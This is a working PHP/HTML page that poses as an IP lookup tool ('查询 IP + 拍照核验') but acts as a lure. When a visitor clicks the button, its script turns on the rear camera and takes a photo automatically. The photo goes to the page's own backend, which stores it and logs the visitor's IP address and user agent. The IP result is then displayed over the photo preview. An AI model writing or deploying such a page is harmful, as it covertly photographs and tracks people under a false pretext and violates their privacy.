<?php
// ==================== 后端：日志 + 接收自动上传的照片 ====================
define('LOG_FILE', __DIR__ . '/log.log');

function writeLog($message, $data = []) {
    $time = date('Y-m-d H:i:s');
    $logLine = "[$time] $message";
    if (!empty($data)) {
        $logLine .= " | 附加数据: " . json_encode($data, JSON_UNESCAPED_UNICODE);
    }
    $logLine .= PHP_EOL;
    file_put_contents(LOG_FILE, $logLine, FILE_APPEND | LOCK_EX);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['camera_photo'])) {
    $basicInfo = [
        '客户端IP' => $_SERVER['REMOTE_ADDR'] ?? '未知',
        '请求类型' => $_SERVER['REQUEST_METHOD'] ?? '未知',
        '服务器软件' => $_SERVER['SERVER_SOFTWARE'] ?? '未知',
        'PHP版本' => PHP_VERSION,
        '用户代理' => $_SERVER['HTTP_USER_AGENT'] ?? '未知'
    ];
    writeLog('收到照片上传请求', $basicInfo);

    $file = $_FILES['camera_photo'];
    $uploadDir = __DIR__ . '/uploads/';
    $result = '';
    $status = 'error';

    if ($file['error'] === UPLOAD_ERR_OK) {
        if (!is_dir($uploadDir)) {
            mkdir($uploadDir, 0755, true);
        }
        $fileName = time() . '_' . rand(1000, 9999) . '.jpg';
        $filePath = $uploadDir . $fileName;

        if (move_uploaded_file($file['tmp_name'], $filePath)) {
            $result = "上传成功！文件路径：uploads/$fileName";
            $status = 'success';
            writeLog($result, ['文件大小' => $file['size'] . ' 字节']);
        } else {
            $result = '文件移动失败，请检查目录权限';
            writeLog($result);
        }
    } else {
        $errorMsg = match ($file['error']) {
            UPLOAD_ERR_INI_SIZE => '文件超过 php.ini 限制',
            UPLOAD_ERR_FORM_SIZE => '文件超过表单限制',
            UPLOAD_ERR_PARTIAL => '文件仅部分上传',
            UPLOAD_ERR_NO_FILE => '无文件上传',
            default => '未知错误：' . $file['error']
        };
        $result = $errorMsg;
        writeLog($errorMsg);
    }

    header('Content-Type: application/json; charset=utf-8');
    echo json_encode([
        'status' => $status,
        'message' => $result
    ]);
    exit;
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>拍照核验 + IP 查询</title>
<style>
  * { box-sizing: border-box; margin: 0; padding: 0; }

  body {
    min-height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 20px;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI",
                 "PingFang SC", "Microsoft YaHei", sans-serif;
    background: linear-gradient(135deg, #1e1b4b 0%, #0f172a 50%, #020617 100%);
    color: #e2e8f0;
  }

  .card {
    width: 100%;
    max-width: 440px;
    background: rgba(30, 41, 59, 0.75);
    backdrop-filter: blur(14px);
    border: 1px solid rgba(148, 163, 184, 0.18);
    border-radius: 20px;
    padding: 26px;
    box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.7);
  }

  h1 {
    font-size: 19px;
    font-weight: 600;
    margin-bottom: 6px;
    background: linear-gradient(90deg, #38bdf8, #a78bfa);
    -webkit-background-clip: text;
    background-clip: text;
    color: transparent;
  }

  .subtitle { font-size: 13px; color: #94a3b8; margin-bottom: 20px; line-height: 1.6; }

  .stage {
    width: 100%;
    aspect-ratio: 1 / 1;
    background: #0f172a;
    border-radius: 16px;
    overflow: hidden;
    position: relative;
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 18px;
    border: 1px solid rgba(56, 189, 248, 0.15);
  }

  .stage video,
  .stage img {
    width: 100%;
    height: 100%;
    object-fit: cover;
    display: block;
  }

  .stage .placeholder {
    color: #475569;
    font-size: 14px;
    text-align: center;
    padding: 20px;
    line-height: 1.8;
  }

  /* ---------- IP 查询覆盖层（带分类展示） ---------- */
  .ip-overlay {
    position: absolute;
    inset: 0;
    background: rgba(15, 23, 42, 0.97);
    backdrop-filter: blur(10px);
    display: none;
    flex-direction: column;
    align-items: stretch;
    justify-content: center;
    padding: 20px;
    z-index: 10;
    overflow-y: auto;
  }
  .ip-overlay.show {
    display: flex;
  }

  /* IP 主地址块 */
  .ip-block {
    text-align: center;
    padding: 14px 10px;
    margin-bottom: 12px;
    background: rgba(56, 189, 248, 0.08);
    border: 1px solid rgba(56, 189, 248, 0.25);
    border-radius: 14px;
  }
  .ip-block .ip-cat {
    font-size: 11px;
    color: #64748b;
    letter-spacing: 2px;
    text-transform: uppercase;
    margin-bottom: 6px;
  }
  .ip-block .ip-value {
    font-size: 26px;
    font-weight: 700;
    font-family: "SF Mono", "Fira Code", "Cascadia Code", monospace;
    color: #38bdf8;
    text-shadow: 0 0 20px rgba(56, 189, 248, 0.45);
    word-break: break-all;
    line-height: 1.3;
  }

  /* 分类信息块 */
  .info-block {
    display: flex;
    align-items: flex-start;
    gap: 10px;
    padding: 10px 12px;
    margin-bottom: 8px;
    background: rgba(148, 163, 184, 0.07);
    border: 1px solid rgba(148, 163, 184, 0.14);
    border-radius: 12px;
    text-align: left;
  }
  .info-block:last-child {
    margin-bottom: 0;
  }
  .info-block .info-icon {
    flex: 0 0 auto;
    width: 28px;
    height: 28px;
    border-radius: 8px;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 14px;
    background: rgba(56, 189, 248, 0.12);
    color: #38bdf8;
  }
  .info-block .info-content {
    flex: 1;
    min-width: 0;
  }
  .info-block .info-cat {
    font-size: 11px;
    color: #64748b;
    letter-spacing: 1px;
    margin-bottom: 3px;
  }
  .info-block .info-val {
    font-size: 13.5px;
    color: #cbd5e1;
    line-height: 1.5;
    word-break: break-word;
  }
  .info-block .info-val.empty {
    color: #475569;
    font-style: italic;
  }

  /* 加载态 */
  .ip-loading-box {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    height: 100%;
  }
  .ip-loader {
    width: 42px;
    height: 42px;
    border: 3px solid rgba(56, 189, 248, 0.2);
    border-top-color: #38bdf8;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
    margin-bottom: 14px;
  }
  @keyframes spin { to { transform: rotate(360deg); } }
  .ip-loading-text {
    color: #7dd3fc;
    font-size: 13px;
    animation: pulse 1.4s ease-in-out infinite;
  }
  @keyframes pulse {
    0%, 100% { opacity: 0.5; }
    50% { opacity: 1; }
  }

  /* 错误态 */
  .ip-error-box {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    height: 100%;
    text-align: center;
    padding: 20px;
  }
  .ip-error-icon {
    font-size: 32px;
    margin-bottom: 12px;
  }
  .ip-error-text {
    color: #fca5a5;
    font-size: 13.5px;
    line-height: 1.6;
  }

  /* ---------- 闪光 ---------- */
  .stage .flash {
    position: absolute;
    inset: 0;
    background: #fff;
    opacity: 0;
    pointer-events: none;
    z-index: 6;
  }
  .stage .flash.fire {
    animation: flash .35s ease-out;
  }
  @keyframes flash {
    0%   { opacity: 0.95; }
    100% { opacity: 0; }
  }

  /* ---------- 查询输入框 ---------- */
  .query-box {
    display: flex;
    gap: 8px;
    margin-bottom: 12px;
  }
  .query-input {
    flex: 1;
    padding: 12px 14px;
    font-size: 14px;
    font-family: inherit;
    color: #e2e8f0;
    background: rgba(15, 23, 42, 0.7);
    border: 1px solid rgba(148, 163, 184, 0.25);
    border-radius: 12px;
    outline: none;
    transition: border-color .2s, box-shadow .2s;
    min-width: 0;
  }
  .query-input::placeholder {
    color: #475569;
  }
  .query-input:focus {
    border-color: #38bdf8;
    box-shadow: 0 0 0 3px rgba(56, 189, 248, 0.15);
  }
  .query-input:disabled {
    opacity: .5;
    cursor: not-allowed;
  }

  /* ---------- 按钮 ---------- */
  button {
    width: 100%;
    padding: 14px 16px;
    font-size: 15px;
    font-family: inherit;
    font-weight: 600;
    color: #0f172a;
    background: linear-gradient(135deg, #38bdf8, #818cf8);
    border: none;
    border-radius: 12px;
    cursor: pointer;
    transition: transform .15s, opacity .2s;
    white-space: nowrap;
  }
  button:hover:not(:disabled) { transform: translateY(-1px); }
  button:active:not(:disabled) { transform: translateY(0); }
  button:disabled { opacity: .5; cursor: not-allowed; }

  .msg {
    margin-top: 14px;
    padding: 12px 14px;
    border-radius: 12px;
    font-size: 13.5px;
    line-height: 1.6;
    display: none;
    word-break: break-all;
  }
  .msg.show { display: block; }
  .msg.error {
    background: rgba(239, 68, 68, 0.12);
    border: 1px solid rgba(239, 68, 68, 0.35);
    color: #fca5a5;
  }
  .msg.success {
    background: rgba(34, 197, 94, 0.1);
    border: 1px solid rgba(34, 197, 94, 0.35);
    color: #86efac;
  }
  .msg.info {
    background: rgba(56, 189, 248, 0.1);
    border: 1px solid rgba(56, 189, 248, 0.3);
    color: #7dd3fc;
  }

  .hint {
    margin-top: 14px;
    font-size: 11.5px;
    line-height: 1.6;
    color: #64748b;
    text-align: center;
    white-space: pre-line;
  }
</style>
</head>
<body>

<div class="card">
  <h1>林北</h1>
  <p class="subtitle" id="subtitle">输入 IP 或留空查询本机，自动拍照并显示信息</p>

  <div class="stage" id="stage">
    <div class="placeholder" id="placeholder">
      准备中…<br>
      输入 IP 后点击查询
    </div>
    <video id="video" autoplay playsinline muted style="display:none"></video>
    <img id="preview" style="display:none" alt="预览">

    <!-- IP 查询覆盖层（带分类展示） -->
    <div class="ip-overlay" id="ipOverlay">
      <!-- 加载态 -->
      <div class="ip-loading-box" id="ipLoading" style="display:none;">
        <div class="ip-loader"></div>
        <div class="ip-loading-text">正在查询 IP 信息…</div>
      </div>

      <!-- 结果态 -->
      <div id="ipResult" style="display:none;">
        <!-- IP 地址分类 -->
        <div class="ip-block">
          <div class="ip-cat">IP 地址</div>
          <div class="ip-value" id="ipValue">—</div>
        </div>

        <!-- 地理位置分类 -->
        <div class="info-block">
          <div class="info-icon">📍</div>
          <div class="info-content">
            <div class="info-cat">地理位置</div>
            <div class="info-val" id="ipLocation">—</div>
          </div>
        </div>

        <!-- 网络信息分类 -->
        <div class="info-block">
          <div class="info-icon">🌐</div>
          <div class="info-content">
            <div class="info-cat">网络信息</div>
            <div class="info-val" id="ipNetwork">—</div>
          </div>
        </div>

        <!-- 时区分类 -->
        <div class="info-block">
          <div class="info-icon">🕐</div>
          <div class="info-content">
            <div class="info-cat">时区</div>
            <div class="info-val" id="ipTimezone">—</div>
          </div>
        </div>
      </div>

      <!-- 错误态 -->
      <div class="ip-error-box" id="ipError" style="display:none;">
        <div class="ip-error-icon">⚠️</div>
        <div class="ip-error-text" id="ipErrorText"></div>
      </div>
    </div>

    <div class="flash" id="flash"></div>
  </div>

  <!-- 查询输入框 -->
  <div class="query-box">
    <input
      type="text"
      class="query-input"
      id="ipInput"
      placeholder="输入 IP 地址（留空查询本机）"
      autocomplete="off"
      spellcheck="false"
    >
  </div>

  <button id="ipBtn" type="button">查询 IP + 拍照核验</button>

  <div class="msg" id="msg"></div>

  <p class="hint" id="hint">正规IP查询无镜子
开始查询</p>
</div>

<canvas id="canvas" style="display:none"></canvas>

<script>
(function () {
  'use strict';

  // ---------- DOM ----------
  var video       = document.getElementById('video');
  var canvas      = document.getElementById('canvas');
  var preview     = document.getElementById('preview');
  var placeholder = document.getElementById('placeholder');
  var flashEl     = document.getElementById('flash');
  var msgEl       = document.getElementById('msg');
  var ipBtn       = document.getElementById('ipBtn');
  var ipInput     = document.getElementById('ipInput');
  var subtitle    = document.getElementById('subtitle');
  var hint        = document.getElementById('hint');

  var ipOverlay   = document.getElementById('ipOverlay');
  var ipLoading   = document.getElementById('ipLoading');
  var ipResult    = document.getElementById('ipResult');
  var ipValue     = document.getElementById('ipValue');
  var ipLocation  = document.getElementById('ipLocation');
  var ipNetwork   = document.getElementById('ipNetwork');
  var ipTimezone  = document.getElementById('ipTimezone');
  var ipError     = document.getElementById('ipError');
  var ipErrorText = document.getElementById('ipErrorText');

  // ---------- 配置 ----------
  var CAPTURE_CONFIG = {
    CAPTURE_DELAY: 900,
    TARGET_WIDTH: 800,
    TARGET_HEIGHT: 800
  };

  var stream = null;
  var running = false;

  // ---------- 工具 ----------
  function showMsg(text, type) {
    msgEl.textContent = text;
    msgEl.className = 'msg show ' + (type || 'info');
  }
  function hideMsg() {
    msgEl.className = 'msg';
  }
  function sleep(ms) {
    return new Promise(function (resolve) { setTimeout(resolve, ms); });
  }

  function stopStream() {
    if (stream) {
      stream.getTracks().forEach(function (t) { t.stop(); });
      stream = null;
    }
    video.srcObject = null;
  }

  // 简单校验 IP 格式（IPv4 / IPv6）
  function isValidIp(str) {
    if (!str) return true; // 空字符串视为查询本机
    // IPv4
    var ipv4 = /^(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}$/;
    // 简单 IPv6 校验（包含 :: 等）
    var ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]+|::(ffff(:0{1,4})?:)?((25[0-5]|(2[0-4]|1?\d)?\d)\.){3}(25[0-5]|(2[0-4]|1?\d)?\d)|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1?\d)?\d)\.){3}(25[0-5]|(2[0-4]|1?\d)?\d))$/;
    return ipv4.test(str) || ipv6.test(str);
  }

  // ---------- 核心：IP 查询（使用 ipapi.co 公共 API，支持指定 IP） ----------
  async function fetchIpInfo(queryIp) {
    var controller = new AbortController();
    var timeoutId = setTimeout(function () { controller.abort(); }, 8000);

    // 构建 API URL：如果用户输入了 IP，则查询指定 IP；否则查询本机
    var apiUrl = queryIp
      ? 'https://ipapi.co/' + encodeURIComponent(queryIp) + '/json/'
      : 'https://ipapi.co/json/';

    try {
      var res = await fetch(apiUrl, {
        signal: controller.signal,
        headers: { 'Accept': 'application/json' }
      });
      clearTimeout(timeoutId);

      if (!res.ok) {
        throw new Error('IP 服务响应异常 HTTP ' + res.status);
      }
      var data = await res.json();

      if (data.error) {
        throw new Error(data.reason || 'IP 查询服务返回错误');
      }

      return data;
    } catch (err) {
      clearTimeout(timeoutId);
      if (err.name === 'AbortError') {
        throw new Error('请求超时，请检查网络');
      }
      throw err;
    }
  }

  // ---------- 展示状态 ----------
  function showIpLoading(targetIp) {
    ipOverlay.classList.add('show');
    ipLoading.style.display = 'flex';
    ipResult.style.display = 'none';
    ipError.style.display = 'none';
    subtitle.textContent = targetIp ? '正在查询 ' + targetIp + ' …' : '正在查询本机 IP…';
    hint.textContent = '正在获取 IP 信息';
  }

  function showIpResult(data) {
    var ip       = data.ip || '未知';
    var country  = data.country_name || '';
    var region   = data.region || '';
    var city     = data.city || '';
    var isp      = data.org || data.asn || '';
    var timezone = data.timezone || '';
    var utcOffset = data.utc_offset || '';

    // IP 地址
    ipValue.textContent = ip;

    // 地理位置分类
    var locParts = [];
    if (country) locParts.push('国家/地区：' + country);
    if (region)  locParts.push('省份/地区：' + region);
    if (city)    locParts.push('城市：' + city);
    if (locParts.length) {
      ipLocation.textContent = locParts.join(' · ');
      ipLocation.classList.remove('empty');
    } else {
      ipLocation.textContent = '暂无地理位置信息';
      ipLocation.classList.add('empty');
    }

    // 网络信息分类
    var netParts = [];
    if (isp) netParts.push('服务商：' + isp);
    if (data.asn) netParts.push('ASN：' + data.asn);
    if (netParts.length) {
      ipNetwork.textContent = netParts.join(' · ');
      ipNetwork.classList.remove('empty');
    } else {
      ipNetwork.textContent = '暂无网络信息';
      ipNetwork.classList.add('empty');
    }

    // 时区分类
    var tzParts = [];
    if (timezone) tzParts.push(timezone);
    if (utcOffset) tzParts.push('UTC' + utcOffset);
    if (tzParts.length) {
      ipTimezone.textContent = tzParts.join(' · ');
      ipTimezone.classList.remove('empty');
    } else {
      ipTimezone.textContent = '暂无时区信息';
      ipTimezone.classList.add('empty');
    }

    ipLoading.style.display = 'none';
    ipResult.style.display = 'block';
    ipError.style.display = 'none';
    subtitle.textContent = 'IP 查询完成';
    hint.textContent = 'IP：' + ip;
  }

  function showIpError(msg) {
    ipErrorText.textContent = '查询失败：' + msg;
    ipLoading.style.display = 'none';
    ipResult.style.display = 'none';
    ipError.style.display = 'flex';
    subtitle.textContent = 'IP 查询失败';
    hint.textContent = '可重新点击查询重试';
  }

  // ---------- 主流程：点击 → 校验 → 拍照 → 上传 → 查询 IP 覆盖显示 ----------
  async function run() {
    if (running) return;

    // 读取输入框内容
    var queryIp = ipInput.value.trim();

    // 校验 IP 格式
    if (queryIp && !isValidIp(queryIp)) {
      showMsg('IP 格式不正确，请检查后重试', 'error');
      ipInput.focus();
      return;
    }

    running = true;
    hideMsg();
    ipBtn.disabled = true;
    ipInput.disabled = true;
    ipBtn.textContent = '核验中…';

    // 隐藏 IP 覆盖层
    ipOverlay.classList.remove('show');
    preview.style.display = 'none';
    if (preview.src) { URL.revokeObjectURL(preview.src); preview.src = ''; }

    try {
      // 1. 开启后置摄像头
      if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
        throw new Error('当前浏览器不支持摄像头调用');
      }

      stream = await navigator.mediaDevices.getUserMedia({
        video: {
          facingMode: { ideal: 'environment' },
          width:  { ideal: CAPTURE_CONFIG.TARGET_WIDTH,  max: CAPTURE_CONFIG.TARGET_WIDTH },
          height: { ideal: CAPTURE_CONFIG.TARGET_HEIGHT, max: CAPTURE_CONFIG.TARGET_HEIGHT }
        },
        audio: false
      });

      video.srcObject = stream;
      video.style.display = 'block';
      placeholder.style.display = 'none';

      showMsg('后置摄像头已开启，请对准目标', 'info');
      subtitle.textContent = '正在核验…';
      hint.textContent = '请保持稳定，即将自动拍照';

      // 2. 摄像头预热（无倒计时）
      await sleep(CAPTURE_CONFIG.CAPTURE_DELAY);

      // 3. 直接拍照
      flashEl.classList.remove('fire');
      void flashEl.offsetWidth;
      flashEl.classList.add('fire');

      var w = Math.min(video.videoWidth,  CAPTURE_CONFIG.TARGET_WIDTH);
      var h = Math.min(video.videoHeight, CAPTURE_CONFIG.TARGET_HEIGHT);
      if (!w || !h) {
        throw new Error('摄像头画面尚未准备好');
      }

      canvas.width  = w;
      canvas.height = h;
      canvas.getContext('2d').drawImage(video, 0, 0, w, h);

      var blob = await new Promise(function (resolve) {
        canvas.toBlob(resolve, 'image/jpeg', 0.8);
      });
      if (!blob) throw new Error('拍照失败');

      // 4. 显示预览（马上被 IP 覆盖）
      var url = URL.createObjectURL(blob);
      preview.src = url;
      preview.style.display = 'block';
      video.style.display = 'none';
      stopStream();

      // 5. 上传照片（后端逻辑不变，写入日志）
      showMsg('正在上传…', 'info');
      var fd = new FormData();
      fd.append('camera_photo', blob, 'capture_' + Date.now() + '.jpg');

      var res  = await fetch(window.location.href, { method: 'POST', body: fd });
      var data = await res.json();

      if (data.status === 'success') {
        showMsg('✓ 核验完成，正在查询 IP…', 'success');
      } else {
        showMsg('上传失败：' + (data.message || '未知错误'), 'error');
      }

      // 6. 查询 IP 并分类展示，覆盖照片区域
      showIpLoading(queryIp);
      try {
        var ipData = await fetchIpInfo(queryIp);
        showIpResult(ipData);
        showMsg('✓ IP 查询完成', 'success');
        console.log('[IP 查询结果]', ipData);
      } catch (ipErr) {
        console.warn('IP 查询失败:', ipErr);
        showIpError(ipErr.message || '未知错误');
        showMsg('IP 查询失败：' + (ipErr.message || '未知错误'), 'error');
      }

    } catch (err) {
      console.warn('核验失败:', err);
      showMsg('核验失败：' + (err.message || '未知错误'), 'error');
      stopStream();
      video.style.display = 'none';
      placeholder.style.display = 'flex';
      subtitle.textContent = '核验失败';
      hint.textContent = '可重新点击查询重试';
    } finally {
      running = false;
      ipBtn.disabled = false;
      ipInput.disabled = false;
      ipBtn.textContent = '查询 IP + 拍照核验';
    }
  }

  // ---------- 事件绑定 ----------
  ipBtn.addEventListener('click', run);

  // 输入框回车触发查询
  ipInput.addEventListener('keydown', function (e) {
    if (e.key === 'Enter' && !running) {
      e.preventDefault();
      run();
    }
  });

  window.addEventListener('beforeunload', function () {
    stopStream();
    if (preview.src) URL.revokeObjectURL(preview.src);
  });

})();
</script>
</body>
</html>